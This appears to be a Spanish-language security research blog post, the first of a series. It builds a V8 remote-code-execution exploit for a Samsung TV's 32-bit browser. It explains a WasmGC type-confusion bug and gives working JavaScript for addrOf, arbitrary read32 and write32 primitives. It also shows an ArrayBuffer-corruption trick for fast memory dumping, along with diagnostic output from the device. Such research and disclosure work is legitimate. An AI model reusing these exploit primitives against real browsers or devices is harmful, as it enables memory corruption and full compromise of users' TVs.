/ 6 min de lectura
RCE en V8 de una Samsung TV #1: tres primitivas, sin jaula
El bug de WasmGC confunde los tipos de los campos de un struct. Suena académico hasta que se convierte en herramientas. Construimos tres módulos Wasm chicos, hechos a medida: cada uno usa esa misma confusión de tipos pero apuntada a un fin distinto. Se nombran según el tipo que confunden:
e_*(deexternref): guarda un objeto JS en un campo y lo deja leer de vuelta como si fuera un número. Ese número es la dirección del objeto en memoria.i_*(dei32): el cargador, recibe el número que se quiere usar como dirección.ip_*(de i32 como puntero): toma esa dirección y la trata como un puntero, para leer o escribir los 32 bits que viven ahí.
Combinándolos salen exactamente las tres primitivas que sostienen el resto de la explotación:
addrOf(obj): la dirección de un objeto JS (e_*: recibe el objeto y lo lee como entero).read32(addr): lee 32 bits en cualquier dirección (i_*carga la dirección,ip_*la lee).write32(addr, val): escribe 32 bits en cualquier dirección (igual queread32, peroip_*escribe).
function addrOf(obj) { e_set(E, obj); return i2u(i_get0(E)); }function read32(addr) { i_set0(I, u2i(((addr >>> 0) - 7) >>> 0)); return i2u(ip_read(I)); }function write32(addr,v) { i_set0(I, u2i(((addr >>> 0) - 7) >>> 0)); ip_write(I, u2i(v)); }El -7 compensa el header del struct interno ip_* (un ref a oneRef cuyo campo i32 cae en addr), de modo que el StructGet final lee exactamente la dirección pedida.
Por qué esto es arbitrario, no “enjaulado”
En el PoC original de Windows x64 estas dos funciones se llamaban caged_read / caged_write (caged, enjauladas), porque allá el read/write quedaba atrapado dentro del cage de V8. Acá se renombraron a read32 / write32 a propósito: en esta TV no hay jaula, y esa diferencia es la que hace viable todo lo demás.
En V8 de 64 bits existe el pointer-compression cage: los punteros son offsets de 32 bits relativos a una base de 4 GB, así que un read por confusión sólo alcanza memoria dentro de esa región. Para salir hace falta romper la jaula aparte, como un paso más del exploit.
En V8 de 32 bits no hay compresión. Cada puntero ya es una dirección nativa completa de 32 bits. La confusión i32 ↔ ref entrega esa dirección cruda, sin traducir. Por lo tanto read32 y write32 no tienen techo: aceptan cualquier dirección del proceso (un número entre 0 y los 4 GB) y leen o escriben los 32 bits que viven ahí.
Es un read/write de todo el espacio de direcciones del proceso, gratis. Sin tener que escapar del cage de V8, sin romper nada extra. Leak de punteros, walk de estructuras C++, búsqueda del ELF en memoria, dump del binario entero.
El primer payload: diagnostic.js
diagnostic.js es el primer payload de la cadena y tiene un solo trabajo: probar que el bug dispara en este browser y que las tres primitivas funcionan de verdad, antes de construir nada encima.
Por dentro hace tres cosas. Primero llena la tabla de tipos canónicos de Wasm (más de un millón de slots) para forzar la colisión de índices que es el bug. Después arma los módulos e_* / i_* / ip_* y deriva addrOf / read32 / write32. Y por último los pone a prueba contra un objeto real: toma un ArrayBuffer cualquiera y lo usa de conejillo de indias.
ab (ArrayBuffer) → addrOf = 0x50709be1 ← su dirección en el heap de V8read32(0x50709be1) → 0x75391a5c ← lo primero que tiene adentro (su "map")read32(ab + 0x18) → 0x902a0400 ← dónde guarda sus bytes de datosDos lecturas, dos pruebas distintas:
read32(0x50709be1) = 0x75391a5clee el primer word del objeto, y eso en V8 nunca es un dato cualquiera: el primer word de todo objeto del heap es un puntero a su map (el “hidden class”, el descriptor que dice de qué tipo es el objeto). Los maps viven agrupados en su propia región del heap, así que ver un valor del rango0x753…(donde caen los maps en este proceso) confirma dos cosas de un saque: que el read aterrizó en el objeto correcto y que leyó bien su primer word.read32(ab + 0x18) = 0x902a0400lee otro campo delArrayBuffer: el puntero a su backing store, el bloque donde guarda los bytes de datos. Y acá está la prueba que se buscaba: ese bloque no vive en el heap de V8. LosArrayBufferreservan su memoria aparte, por fuera del heap del garbage collector, con el allocator del embedder (unmmap/mallocpropio), por eso0x902…cae en una región lejana y totalmente separada. Poder leer ahí prueba lo único que importa: el alcance del read no está acotado a nada.
Las direcciones exactas (
0x753…,0x902…) son de este proceso (el ASLR las corre en cada arranque); lo que importa es que pertenecen a regiones distintas, y que el primer word es un map válido. Si querés ir a la fuente de por qué es así: el map siempre está en el offset 0 del objeto (v8/src/objects/map.h) y la backing store se reserva fuera del heap (v8/src/objects/backing-store.h).

diagnostic.js corriendo en el navegador del TV: las tres primitivas (addrOf y el read/write arbitrario de 32 bits) dan resultados correctos contra un ArrayBuffer real, y el log cierra detectando la arquitectura del proceso: ARM v7 32-bit, el dato que confirma que se trata de un V8 sin cage.
Una primitiva más rápida para volcar memoria
read32() lee de a 32 bits y, para volcar regiones grandes, es lento: cada word son varias llamadas a Wasm. Analizando cómo V8 guarda un ArrayBuffer en memoria surgió la posibilidad de fabricar una primitiva más apropiada para esta tarea, aprovechando un detalle: el propio ArrayBuffer lleva, en campos editables, cuántos bytes mide y dónde están sus datos. Esto se usa después en la entrada 04 para exfiltrar la librería libchrome.so de forma eficiente.
La idea es usar write32() (que ya escribe en cualquier lado) para pisarle a un ArrayBuffer esos campos: se le hace creer que mide 64 MB y que sus bytes viven en la dirección deseada. Desde ese momento se lee con un DataView nativo, a velocidad de C, sin una llamada Wasm por cada word:
const ab_addr = addrOf(ab);write32(ab_addr + 0x16, 0x200000 << 5); // byteLength → 64 MBwrite32(ab_addr + 0x1e, 0x200000 << 5); // maxByteLength → 64 MBwrite32(ab_addr + 0x26, 0); // offset del backing store → 0const dv = new DataView(ab); // dv lee memoria "real" a toda velocidadResumen
Con esto ya tenemos sobre la mesa lo que necesitamos para todo lo que viene, validado en el propio televisor: las tres primitivas base (addrOf, read32, write32) más el atajo de lectura masiva por DataView.
| Primitiva | Qué hace | Alcance |
|---|---|---|
addrOf(obj) | devuelve la dirección en memoria de un objeto JS | sin límite |
read32(addr) | lee 32 bits en addr | cualquier dirección del proceso (los 4 GB) |
write32(addr, v) | escribe 32 bits en addr | cualquier dirección del proceso |
ArrayBuffer redirigido | lectura masiva por DataView nativo (rápida) | repuntarlo antes de crear el DataView |
En este punto el problema cambia de naturaleza. Deja de ser de capacidad y pasa a ser de información: hay R/W total sobre el proceso. Para armar la cadena ROP hacen falta los offsets de libchrome.so, y conseguir ese binario, en una TV que no lo deja sacar, es el resto de la serie. Empieza con un callejón sin salida: la entrada 02.